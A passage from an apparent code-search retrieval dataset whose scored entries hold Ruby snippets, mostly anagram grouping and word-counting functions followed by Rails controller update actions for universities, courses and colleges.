anagram_group = Hash.new([])\n words.each {|word| anagram_group[word.downcase.split(//).sort.join] += [word]}\n return anagram_group.values\nend", "title": "" }, { "docid": "ddd8405ec1a9dabc6fb2b57cd9a15499", "score": "0.5936142", "text": "def anagram(words)\n words_hash = {}\n\n words_hash = words.each_with_object(Hash.new []) do |word, hash|\n hash[word.chars.sort] += [word]\n end\n\n words_array = words_hash.flatten\n final_hash = []\n\n words_array.each_index do |index|\n final_hash << words_array[index] if index.odd?\n end\n\n return final_hash\nend", "title": "" }, { "docid": "ee87640f0104cf870cbdfbf5305679d8", "score": "0.5932489", "text": "def count_words\r\n array = []\r\n hash = Hash.new(0)\r\n input = gets.chomp\r\n input.downcase!\r\n array = input.split\r\n array.each do |word|\r\n hash[word] += 1\r\n end\r\n hash.each do |a,b|\r\n puts \"#{a} #{b}\"\r\n end\r\nend", "title": "" }, { "docid": "54bdf8d4cc9ae9aa589b0e6f87c1affa", "score": "0.59317935", "text": "def combine_anagrams(words)\r\n\tresult = {}\r\n\twords.each{|word| result[word.downcase.chars.sort.join] ||= []; result[word.downcase.chars.sort.join] << word}\r\n\tresult.values\r\nend", "title": "" }, { "docid": "7947a8ee49d66f16257d6e79a9b67f4e", "score": "0.5931261", "text": "def add(*words)\n words.flatten.each do |word|\n add_word(word)\n end\n nil\n end", "title": "" }, { "docid": "40fd9b8fae68c58847b70aa2535411fd", "score": "0.5922582", "text": "def add(word)\n \t\tif word.length > 0 # there was a zero length char after this, idk\n if @children[word[0,1]] # if current letter exists in hash, add to it\n\t @children[word[0,1]].add(word[1, word.length])\n\t\t\t\t@children[word[0,1]].word = true if (word.length == 1)\n\t else # if the letter doesn't exist, create it\n\t @children[word[0,1]] = LetterTree.new(word[1, word.length])\n\t\t\t\t@children[word[0,1]].word = true if (word.length == 1)\n\t end\n\t\tend\n\tend", "title": "" }, { "docid": "6246ded5da9a5cfbaab025dee9424e18", "score": "0.5921202", "text": "def combine_anagrams(words)\r\n cage = Hash.new()\r\n words.each do |word|\r\n sorted_word = word.split('').sort.join\r\n if cage.has_key?(sorted_word)\r\n cage.store(sorted_word, cage.fetch(sorted_word).push(word))\r\n else\r\n cage.store(sorted_word, Array.new(1,word))\r\n end\r\n end\r\n return cage.values\r\nend", "title": "" }, { "docid": "8802ad65b05ef8c8abd4f6bb0cb58d11", "score": "0.5920635", "text": "def word_frequency(words)\n frequencies = Hash.new(0)\n words.each do |word|\n frequencies[word] += 1\n end\n frequencies\nend", "title": "" }, { "docid": "dcde8d79969e3a78876631b3b7164de3", "score": "0.5920553", "text": "def addWord(word, count)\n\t\tif !@b[count]\n\t\t\t@b[count] = []\n\t\tend\n\t\t@b[count] << word\n\tend", "title": "" }, { "docid": "6400884a30d00e849e948c0a68ca6abe", "score": "0.58965135", "text": "def dictionary()\n word_list = {\n \"hello\" => \"hi\",\n \"to\" => \"2\",\n \"two\" => \"2\",\n \"too\" => \"2\",\n \"for\" => \"4\",\n \"four\" => \"4\",\n \"be\" => \"b\",\n \"you\" => \"u\",\n \"at\" => \"@\",\n \"and\" => \"&\"\n }\nend", "title": "" }, { "docid": "ec345e7ed1aee8bb6a7ceb522ac292cd", "score": "0.5886817", "text": "def combine_anagrams(words)\n outp = Hash.new;\n words.each{|w| idx = w.downcase.chars.to_a.sort.join; if outp[idx] == nil then outp[idx] = Array.new; end; outp[idx].push(w); };\n return outp.values ;\nend", "title": "" }, { "docid": "e117f21584240b8c732a046c3bb4e6be", "score": "0.58852255", "text": "def combine_anagrams(words)\n return [] if words.nil?\n return [] if words.length == 0\n\n h = Hash[]\n words.each {|x|\n s = x.strip.downcase.chars.sort.join\n if !h.has_key?(s)\n h[s] = [x]\n else\n h[s].push(x)\n end\n }\n h.values\nend", "title": "" }, { "docid": "c58c185fc0a9bdfb830005ffc2048be9", "score": "0.5879904", "text": "def word_substituter (tweet=\"some thing need to be shorten, like two too\")\n tweet= tweet.strip\n temp_a = tweet.split(\" \")\n words_can_b_sh = dictionary.keys\n #puts words_can_b_sh\n temp = \"\"\n# puts temp_a\n temp_a.each do |word|\n if words_can_b_sh.include?(word.downcase)\n temp << dictionary[word.downcase]\n else\n temp << word\n end\n temp << \" \"\n end\n temp.strip\nend", "title": "" }, { "docid": "4134c7ec65b1902ea68676e110c0481c", "score": "0.5879237", "text": "def add_to_doc_hash(doc_id, word, count)\n if $doc_hash.key?(doc_id)\n $doc_hash[doc_id][:size] += count\n if $doc_hash[doc_id].key?(word)\n $doc_hash[doc_id][word] += count\n else\n $doc_hash[doc_id][word] = count\n end\n else\n $doc_hash[doc_id] = {}\n $doc_hash[doc_id][:size] = count\n $doc_hash[doc_id][word] = count\n end\nend", "title": "" }, { "docid": "c5bf0855bdcac5388f691892e83b1eaf", "score": "0.5872519", "text": "def count_words(phrase)\r\n words_hash = Hash.new(0)\r\n phrase.split(\" \").each do |word|\r\n words_hash[word.downcase]+=1\r\n end\r\n print_word_count(words_hash)\r\n return words_hash\r\nend", "title": "" }, { "docid": "7cb6bde99014e8c9acf02711f67e5eca", "score": "0.58691573", "text": "def anagram_hash(input)\n list = {} # empty hash\n input.each do |word| # iterates over each word in the array\n add_word = word.chars.sort.join # sorts the anagrams\n list[add_word] ||= []\n list[add_word] << word\n end\n # list of all anagrams and words\n list.values\nend", "title": "" }, { "docid": "0e73993a844dd3fd79db824b9c86e01c", "score": "0.5859853", "text": "def add(word)\n Hunspell.Hunspell_add(self,word.to_s)\n end", "title": "" }, { "docid": "c9839f6e278db20d6b822570567735b3", "score": "0.5856265", "text": "def create_list(list)\r\n temp_hash = Hash.new \r\n list.split(\" \").each {|x| temp_hash[x] = 1}#[word1, word2, word3]\r\n print temp_hash\r\n return temp_hash\r\nend", "title": "" }, { "docid": "ad3fd75b9cbb2cc85911758931817495", "score": "0.5846983", "text": "def addword(word)\n if @graph.words[word].nil? then\n @graph.words[word] = {}\n end\n end", "title": "" }, { "docid": "8155ead2be7d61de6c9a7c6619f56f9c", "score": "0.58461815", "text": "def <<(word)\n @words << word\n end", "title": "" }, { "docid": "8155ead2be7d61de6c9a7c6619f56f9c", "score": "0.58461815", "text": "def <<(word)\n @words << word\n end", "title": "" }, { "docid": "8463775689f11287e936e1eb4101677d", "score": "0.5838286", "text": "def combine_anagrams(words=[])\n return [] if words.empty?\n hash = {}\n words.each do |word|\n anagram = word.downcase.split(\"\").sort.join(\"\")\n if hash[anagram].nil? then\n hash[anagram]=[word]\n else\n hash[anagram].push(word)\n end\n end\n return hash.values\nend", "title": "" }, { "docid": "9decb12f68f497927eede6ae7ccabc93", "score": "0.58328205", "text": "def add(word1, word2, file=nil)\n key = [word1,word2]\n if @table.key?(key)\n\t @table[key].file!(file) if file\n else\n bigram = Bigram.new(word1, word2)\n @table[key] = bigram\n\t @table[key].file!(file)\n @index[word1] << word2\n end\n end", "title": "" }, { "docid": "201b9f4f8723680ace5b5e98cd2adc33", "score": "0.5829535", "text": "def add_word(new_word, categories)\r\n categories.each do |category|\r\n fandom = fetch_fandom(category)\r\n fandom << new_word unless fandom.include? new_word\r\n end\r\n end", "title": "" }, { "docid": "92972c3a66a9b0feab2758b006f7cb26", "score": "0.5823319", "text": "def add_word_to_result(word, line_num)\n return if word == ''\n if @result[word].nil?\n h = Hash.new\n h[:count] = 1\n h[:line_nums] = [line_num]\n @result[word] = h\n else\n @result[word][:count] += 1\n @result[word][:line_nums] << line_num\n end\n end", "title": "" }, { "docid": "d2a2744e990abfd022c339925a7f2492", "score": "0.5822818", "text": "def combine_anagrams(words)\r\n big_array = Array.new\r\n hash = Hash.new(0)\r\n words.each do |w| \r\n array = Array.new\r\n array = w.downcase.split(//)\r\n if hash.has_key?(array.sort) \r\n hash[array.sort]=hash[array.sort].push(w)\r\n else\r\n hash[array.sort]=Array.[](w)\r\n end\r\n end\r\n hash.each { |key,value| big_array.push(value) }\r\n big_array\r\nend", "title": "" }, { "docid": "ba0d240c1c206189fff6bf8d4aad70a6", "score": "0.58228", "text": "def <<(word)\n @words << word\n end", "title": "" }, { "docid": "0fbacd4e7c5cfc3ad6a055eb759daf88", "score": "0.58209133", "text": "def procipher(sentence, hash)\n new_sentence = []\n sentence.split(' ').each do |word|\n new_word = word\n hash.each do |k, v|\n new_word = v.call(new_word) if k.call(word)\n end\n new_sentence << new_word\n end\n new_sentence.join(' ')\nend", "title": "" }, { "docid": "7c2115b37dbce7e3ecbbfad6e14aa7a9", "score": "0.58170784", "text": "def build(words)\n words.each do |word|\n self.add(word)\n end\n end", "title": "" }, { "docid": "215fd2eaacdfdb66b5814b992f4f1f0e", "score": "0.580827", "text": "def inject(hash); end", "title": "" }, { "docid": "28fba2d6384e23be7ba10207180cf25c", "score": "0.5804066", "text": "def nodeset(words, h = {})\n words.each do |w|\n chars = w.split(\"\")\n chars.each { |c| h[c] = \"\" }\n end\n\n h\nend", "title": "" }, { "docid": "292f8755b0f16f479814b99cb14a71b1", "score": "0.5799377", "text": "def word_substituter(string)\ntweet=string.split(\" \")\ni = 0 \nwhile i < tweet.length \nif dictionary.keys.include?(tweet[i].downcase)\ntweet[i] = dictionary[tweet[i].downcase]\nend \ni+=1\nend\ntweet.join(\" \")\nend", "title": "" }, { "docid": "e97b793fadafd42167dda56e7eac29e6", "score": "0.57853746", "text": "def add_word(word)\n chars = word.chars\n current = @root\n\n chars.each do |c|\n current = add_character(c, current)\n current.word_count += 1\n end\n current.is_word = true\n end", "title": "" }, { "docid": "75f18ed9f841caf538c52086e23619c1", "score": "0.57830137", "text": "def list(words)\n arr = words.split(\" \")\n hash_list = {}\n arr.each {|key| hash_list[key] = 0}\n return hash_list\nend", "title": "" }, { "docid": "bdc8371505f5014991e14fbea4467dac", "score": "0.5782376", "text": "def combine_anagrams(words)\n hash = {}\n anagrams = []\n\n words.each { |w| \n sorted = w.downcase.each_char.sort.join \n\n if (hash.has_key?(sorted))\n hash[sorted].push w\n else\n hash[sorted] = Array.new.push(w)\n end\n }\n\n hash.each_value { |v|\n anagrams.push v\n }\n\n return anagrams\nend", "title": "" }, { "docid": "f396fd11ab15f16273b04017c2cdfed0", "score": "0.5778491", "text": "def hash_word(word)\n word_count = Hash.new(0)\n word.each_char do |c|\n word_count[c] += 1\n end\n return word_count\nend", "title": "" }, { "docid": "d0ade52be04abe24f07354f5ce8cbf45", "score": "0.5769481", "text": "def train!(word_list)\n #create @dictionary, an attribute of type Hash mapping words to their count in the text {word => count}.\n #Default count should be 0 (argument of Hash constructor).\n\n @dictionary = Hash.new(0)\n word_list.each do |w|\n @dictionary[w] += 1\n end \n end", "title": "" }, { "docid": "578487fc67853acb0ad9dfea34db58bc", "score": "0.5746534", "text": "def string_to_hash(string)\n words = string.split(\" \")\n array_length = words.length\n hash = Hash.new\n i = 0\n for i < array_length\n hash += words[i]\n end\n return hash\nend", "title": "" }, { "docid": "bfe98dc5c0cf1598f17817ce263b77b3", "score": "0.5746084", "text": "def word_frequency\n @word_use = Hash.new(0)\n words.each { |w| @word_use[w] += 1 }\n @word_use\n end", "title": "" }, { "docid": "e31fce5fd2f086265087b606a8f2245c", "score": "0.5742751", "text": "def add_word(word)\n node = root\n word.chars.each do |c|\n node.children[c] = TrieNode.new unless node.children.key?(c)\n node = node.children[c]\n end\n node.word = true\n end", "title": "" }, { "docid": "973f5c4a855408c10a12de8a00920721", "score": "0.5738273", "text": "def combine_anagrams(words)\n hash = {}\n words.each do |str|\n sorted = str.chars.sort { |a, b| a.casecmp(b) } .join\n down = sorted.downcase\n if (hash[down]== nil)\n hash[down] = Array.new\n end\n arr = hash[down]\n arr[arr.length] = str\n hash[down] = arr\n# puts \"[sorted] is \\\"\" + sorted + \",\\\" and hash[sorted] is \" + hash[sorted].inspect\n arr = nil\n end\n hash.values\nend", "title": "" }, { "docid": "64e0fdf15745b80cdc103972c66cf30e", "score": "0.57381546", "text": "def addtoB(title)\n\t#title = \"let's see what this is doing\"\n\tstops = [\" a \", \" an \", \" and \", \" by \", \" for \", \" from \", \" in \", \" of \", \" on \", \" or \", \" out \", \" the \", \" to \", \" width \"] # list of stop words\n\tfor word in stops do # go through the stop words: if they exist in the sentence, we will...\n\t\t\ttitle = title.gsub(word, \" \") # changes word to NOTHING! Well, a space I guess. but still.\n\t\tend\n\n\ttitle_words = title.split(\" \") # splits title into various words\n\n\twhile (title_words.length > 1)\n\t\tfirst_word = title_words[0] # saves the first word to title bigram\n\t\tnext_wrd = title_words[1] # the next word in the title is the one we want to add\n\t\ttitle_words = title_words[1..-1] # chops off the first word and proceeds through\n\n\t\tif ($bigrams.has_key?(first_word)) # if we already have a key, we don't need a new hash\n\t\t\t# do nothing\n\t\telse\n\t\t\t$bigrams[first_word] = Hash.new # if word hasn't been encountered before, give it a new hash\n\t\tend\n\t\t\t\tif ($bigrams[first_word].has_key?(next_wrd)) # if the next word exists for the current word...\n\t\t\t\t\t$bigrams[first_word][next_wrd] = $bigrams[first_word][next_wrd] + 1 # then all we're doing is incrementing the count for that word by one.\n\t\t\t\telse\n\t\t\t\t$bigrams[first_word].merge!(next_wrd => 1) # otherwise, we will set the count of that word to one.\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "60b447dee0911230590227e9851bb39c", "score": "0.5737839", "text": "def terms_hash_from_words_array(words)\n terms = Hash.new(0)\n stemmed_words.each do |term|\n terms[term] += 1\n end\n return terms\n end", "title": "" }, { "docid": "f6187d83fd7a58fa40c57ae8b8725b3e", "score": "0.57363194", "text": "def word_sizes(words)\n result_hash = Hash.new(0)\n words.split.each do |word| \n word = word.gsub(/[^a-z]/i,\"\")\n result_hash[word.length] += 1\n end\n result_hash\nend", "title": "" }, { "docid": "0645435301c5159022571a5ab43f0a4d", "score": "0.57362", "text": "def collect_words(stored_data, words)\n return stored_data if words.length == 0\n w = words.shift\n stored_data[w] ||= {}\n stored_data[w] = collect_words(stored_data[w],words)\n stored_data\nend", "title": "" }, { "docid": "fff45c4cf2519bbe8e968ec34f6511ab", "score": "0.5730558", "text": "def remove_duplicates(words)\n unique_words = Hash.new { |hash, key| hash[key] = 0 }\n words.each do |word|\n \tunique_words[word] += 1\n end\n unique_words.keys\nend", "title": "" }, { "docid": "1593b0990e6f442d81c6244ea2575edc", "score": "0.57304794", "text": "def add(word)\n return if word.nil? || word.strip == ''\n\n @words.push(word)\n end", "title": "" } ]
a9cff8b53265c2ba3a38d5dd48ad64f2
PATCH/PUT /course_universities/1 PATCH/PUT /course_universities/1.json
[ { "docid": "545ccadbe9dcaa8044f2fcc575c633e2", "score": "0.704606", "text": "def update\n respond_to do |format|\n if @course_university.update(course_university_params)\n format.html { redirect_to @course_university, notice: 'Course university was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_university }\n else\n format.html { render :edit }\n format.json { render json: @course_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "3cb13a8981c5b8ec953c7c8a4d3decab", "score": "0.6796626", "text": "def update\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd6df0b362bbac861e58837fefc16512", "score": "0.6784621", "text": "def update\n @interested_university = InterestedUniversity.find(params[:id])\n\n respond_to do |format|\n if @interested_university.update_attributes(params[:interested_university])\n format.html { redirect_to @interested_university, notice: 'Interested university was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interested_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ddf7927d55072e7c45ac18c71ec4162", "score": "0.6774571", "text": "def update\n if @university.update(university_params)\n render json: @university, status: :ok #, location: @university\n else\n render json: @university.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2fbeb6112bb305927d064ab297997f9f", "score": "0.6743222", "text": "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34f61df6f12ea082ae01885228291360", "score": "0.67034614", "text": "def update\n respond_to do |format|\n if @api_university.update(api_university_params)\n format.html { redirect_to @api_university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @api_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed107967563a96b3b372dcec9841ef34", "score": "0.6596291", "text": "def update\n puts program_university_course_params\n respond_to do |format|\n if @program_university_course.update(program_university_course_params)\n format.html { redirect_to @program_university_course, notice: 'Program university course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program_university_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8fe95db4eaae8a4652bb9a59f2de21b", "score": "0.654164", "text": "def update\n respond_to do |format|\n if @discipline_university.update(discipline_university_params)\n format.html { redirect_to @discipline_university, notice: 'Discipline university was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipline_university }\n else\n format.html { render :edit }\n format.json { render json: @discipline_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6be498a575c79d7eb7677b0cea3269ae", "score": "0.6475805", "text": "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6be498a575c79d7eb7677b0cea3269ae", "score": "0.6475805", "text": "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6be498a575c79d7eb7677b0cea3269ae", "score": "0.6475805", "text": "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2aee2ec077ce20f638663a875b542f56", "score": "0.6466822", "text": "def update\n respond_to do |format|\n if @city_university.update(city_university_params)\n format.html { redirect_to @city_university, notice: 'City university was successfully updated.' }\n format.json { render :show, status: :ok, location: @city_university }\n else\n format.html { render :edit }\n format.json { render json: @city_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "925d2c4275264c061f601f9b579c6973", "score": "0.64480907", "text": "def update\n @course.update!(course_params)\n json_response(@course)\n end", "title": "" }, { "docid": "65d3d901e1057c85570e2b7d91491389", "score": "0.64465743", "text": "def update\n update_resource_response(@course_representative, course_representative_params)\n end", "title": "" }, { "docid": "a2bdc5d0dcdc230a9037ca01159645b9", "score": "0.6434416", "text": "def update\n inputs = { college_student: find_college_student! }.reverse_merge(params[:college_student])\n outcome = UpdateCollegeStudent.run(inputs)\n\n if outcome.valid?\n render json: outcome.result\n else\n @college_student = outcome\n render(:edit)\n end\n end", "title": "" }, { "docid": "af575e33d2eb7d616e2c0d41a41ad629", "score": "0.64279634", "text": "def update\n @university = University.find(params[:id])\n authorize! :update, @university, :message => 'Acceso denegado.'\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to universities_url, notice: 'La universidad fue modificada exitosamenete.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n format.js { render action: \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "4031c71e2e4d45d8dd489de051e8be4c", "score": "0.6392605", "text": "def update_university\n semester = Semester.find_by_university_id_and_active(params[:uni], true)\n return render :status => 404, :text => \"University is not valid\" unless semester\n\n @user.update_attributes(:semester_id => semester.id)\n @user.save\n # Delete any saved courses. Resets user information\n UserCourse.where(:user_id => @user.id).each do |c|\n c.destroy\n end\n redirect_to schedule_url\n end", "title": "" }, { "docid": "0e9925eb79cd6cdf12526e5b5ca85204", "score": "0.63725775", "text": "def update\n authorize University\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'Univerza uspešno posodobljena.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e009009d618bfda606a6c7f048384e2d", "score": "0.63710594", "text": "def update\n respond_to do |format|\n if @university_section.update(university_section_params)\n format.html { redirect_to @university_section, notice: 'University section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @university_section.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2aa296c8f267688b560b7d51f98f5694", "score": "0.63130057", "text": "def update\n respond_to do |format|\n if @city_x_university.update(city_x_university_params)\n format.html { redirect_to @city_x_university, notice: 'City x university was successfully updated.' }\n format.json { render :show, status: :ok, location: @city_x_university }\n else\n format.html { render :edit }\n format.json { render json: @city_x_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29df8b3df21eb5c33ac814174e6f2a1d", "score": "0.6307631", "text": "def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to \"/institutes/#{@course.institute.id}/edit\", notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render template: \"institutes/#{@course.institute.id}/edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0188853f685d1db9e140f278f14ea3a", "score": "0.6283171", "text": "def update\n respond_to do |format|\n if @education.update(education_params.merge!(user: current_user))\n format.html { redirect_to inside_path, notice: 'Education was successfully updated.' }\n format.json { render :show, status: :ok, city: @education }\n else\n format.html { render :edit }\n format.json { render json: @education.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56e6e40852aca2fda6224768eed8edef", "score": "0.62718683", "text": "def update\n respond_to do |format|\n if @program_x_university.update(program_x_university_params)\n format.html { redirect_to @program_x_university, notice: 'Program x university was successfully updated.' }\n format.json { render :show, status: :ok, location: @program_x_university }\n else\n format.html { render :edit }\n format.json { render json: @program_x_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77631d95bb855f1ac27d0c0a86ce40ed", "score": "0.6269694", "text": "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to(@university, :notice => 'University was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @university.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9faffa1509ccd1c7cfa8bb818243897", "score": "0.6260991", "text": "def update\n @universidad = Universidad.find(params[:id])\n\n respond_to do |format|\n if @universidad.update_attributes(params[:universidad])\n format.html { redirect_to @universidad, notice: 'Universidad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @universidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9faffa1509ccd1c7cfa8bb818243897", "score": "0.6260991", "text": "def update\n @universidad = Universidad.find(params[:id])\n\n respond_to do |format|\n if @universidad.update_attributes(params[:universidad])\n format.html { redirect_to @universidad, notice: 'Universidad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @universidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fba95aa369e0cebc85ecef65eee31f3", "score": "0.62362176", "text": "def update\n @course = Course.find(params[:id])\n\n if params[:yearsem] == \"0\"\n params[:course][:yearlong] = true\n else # if yearsem == 1, 2, 3 or 4\n params[:course][:yearlong] = false\n params[:course][:sem] = params[:yearsem]\n end\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ce0d97f08b791c018c07556197bf2fb", "score": "0.6220895", "text": "def update\n render json: { success: @college.update(college_params) }\n end", "title": "" }, { "docid": "8efb6dab19e32a535fa0726818d992eb", "score": "0.62132674", "text": "def update\n @studentcourse = Studentcourse.find(params[:id])\n if @studentcourse.update_attributes(studentcourse_params)\n render json: @studentcourse\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "58fa7a7eb6f2d13eb314f7ee5eb65f51", "score": "0.6185566", "text": "def update\n @university = UniversityDecorator.decorate @student_study.university\n\n respond_to do |format|\n if @student_study.update_attributes(params[:student_study])\n format.html { redirect_to @student_study, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_study.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98b11deabb36e321669d89a5c5886d98", "score": "0.61821306", "text": "def update\n \n #don't need to add user_id here.. already exists.\n \n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "813261caf023d0e571f40a5d86ab6f92", "score": "0.61771405", "text": "def update\n @user = User.scoped_by_university_id(current_university.id).find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3307307ef21bc59e6c74be0bad05b1ec", "score": "0.61712044", "text": "def update\n fix_instructors(params)\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html do\n if params[:commit] != 'Update'\n redirect_to(edit_course_path(@course), :notice => 'Course was successfully updated.')\n else\n redirect_to(@course, :notice => 'Course was successfully updated.')\n end\n end\n format.xml { head :ok }\n else\n build_course_instructors\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f469a280c25e596677016224e14c46a0", "score": "0.61509097", "text": "def update\n @university = UniversityDecorator.decorate @agreement_source_study.university\n respond_to do |format|\n if @agreement_source_study.update_attributes(params[:agreement_source_study])\n format.html { redirect_to @agreement_source_study, notice: t2('update.notice')}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agreement_source_study.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57eab46ad29964c58701b6abbc4a81f5", "score": "0.61496407", "text": "def update\n @university = University.find(params[:id])\n if @university.update_attributes(params[:university])\n redirect_to university_path(@university)\n else\n render :edit\n end\n end", "title": "" }, { "docid": "43526d73c3a2e2197d29d33d3dadf1eb", "score": "0.6144047", "text": "def update\n authorize_action_for @course\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to course_lectures_path(@course), notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca18b5eaec8b1dacaa3dfa34472e6012", "score": "0.6141779", "text": "def update\n\t\t@university = University.find(params[:id])\n\n\t\tif @university.update_attributes(params[:university])\n\t\t\trecord_activity(\"updated univerisity details: \" + @university.id.to_s)\n\t\t\tredirect_to universities_path, :notice => \"University updated successfully\"\n\t\telse\n\t\t\trender 'edit'\n\t\tend\n\tend", "title": "" }, { "docid": "ec86b61ad5b75cfbe2533acd9eaa394b", "score": "0.6124362", "text": "def update\n # @yearly_detail_course = YearlyDetailCourse.find(params[:id])\n\n respond_to do |format|\n if @yearly_detail_course.update_attributes(params[:yearly_detail_course])\n format.html { redirect_to @yearly_detail_course, notice: 'Yearly detail course was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @yearly_detail_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf3030c2bc79e4f3caea62962db16a6a", "score": "0.6121112", "text": "def update\n @alumn = Alumn.find(params[:id])\n\n\tuid = params[:alumn][:user_id]\n\tcid = params[:alumn][:course_id]\n\t@alumn.user_id = uid\n\t@alumn.course_id = cid\n\n respond_to do |format|\n if @alumn.update_attributes(params[:alumn])\n format.html { redirect_to @alumn, :notice=> 'Alumno actualizado.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @alumn.errors, :status=> :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8af58dec442e4917fe576c0fb7eea5a", "score": "0.61051697", "text": "def update\n respond_to do |format|\n if @university_choice.update(university_choice_params)\n format.html { redirect_to @university_choice, notice: 'University choice was successfully updated.' }\n format.json { render :show, status: :ok, location: @university_choice }\n else\n format.html { render :edit }\n format.json { render json: @university_choice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ef6972b482f82c4aae0b5bbae72c21d", "score": "0.6100503", "text": "def update\n @college = College.find(params[:id])\n\n respond_to do |format|\n if @college.update_attributes(params[:college])\n format.html { redirect_to @college, notice: 'College was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @college.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 